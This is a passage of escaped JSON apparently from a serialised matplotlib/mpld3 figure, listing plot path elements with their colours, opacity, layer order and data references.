\"id\": \"el126114702114768\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114702116432\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114702117712\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114701774352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114701775184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114701749328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114702135760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114702137424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114702155536\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114702157200\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114702158480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114702172880\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114702174544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114702188560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114702190224\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114702191504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114702201808\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114702203472\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114702217488\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data58\", \"id\": \"el126114702219152\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data59\", \"id\": \"el126114702233168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data60\", \"id\": \"el126114702234832\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data61\", \"id\": \"el126114702236496\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data61\", \"id\": \"el126114702254608\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 3, \"data\": \"data61\", \"id\": \"el126114702256272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114702262096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114702263824\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114702265104\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114702283600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114702285264\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114702295184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114702296848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114702314960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114702316624\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114702318288\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114702328208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114702329872\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114702339792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114702341456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114702343120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114702357136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114702358800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114702372816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114702374480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114702375760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114702386064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114702387728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114702401744\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114702403408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114702421520\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114702423184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114702424848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114702438864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114702440528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114702450448\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114702452112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114702453392\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114702467792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114702469456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114702483472\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114702485136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114702486416\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114702500816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114702502480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114702516496\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114702518160\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114702532176\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114702533840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114702535504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114702553616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114702555280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114702561104\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114702562768\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114702564048\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data02\", \"id\": \"el126114702582544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data01\", \"id\": \"el126114702584208\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114702594128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data52\", \"id\": \"el126114702595792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114702597072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114702615568\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 